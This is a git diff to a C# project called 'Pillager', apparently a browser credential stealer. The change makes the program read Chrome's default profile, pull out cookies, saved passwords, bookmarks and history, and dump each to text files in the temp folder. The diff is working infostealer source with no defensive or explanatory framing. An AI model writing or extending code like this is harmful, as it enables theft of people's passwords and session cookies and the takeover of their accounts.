diff --git a/Pillager/Chrome.cs b/Pillager/Chrome.cs index 356e1e0..327e1e7 100644 --- a/Pillager/Chrome.cs +++ b/Pillager/Chrome.cs @@ -11,10 +11,13 @@ namespace Pillager { private string BrowserPath { get; set; } + public string BrowserName { get; set; } + private byte[] MasterKey { get; set; } - public Chrome(string Path) + public Chrome(string Name,string Path) { + BrowserName = Name; BrowserPath = Path; MasterKey = GetMasterKey(); } diff --git a/Pillager/Program.cs b/Pillager/Program.cs index e5192db..cd922e0 100644 --- a/Pillager/Program.cs +++ b/Pillager/Program.cs @@ -10,15 +10,19 @@ namespace Pillager { static void Main(string[] args) { + string savepath = Path.GetTempPath(); string chromepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default"); - Chrome chrome = new Chrome(chromepath); + Chrome chrome = new Chrome("Chrome", chromepath); string cookies = chrome.Chrome_cookies(); string passwords = chrome.Chrome_passwords(); string books = chrome.Chrome_books(); string history = chrome.Chrome_history(); - - Console.ReadLine(); + File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_cookies.txt"), cookies); + File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_passwords.txt"), passwords); + File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_books.txt"), books); + File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_history.txt"), history); + Console.WriteLine("Files wrote to " + savepath + chrome.BrowserName + "_*.txt"); } } }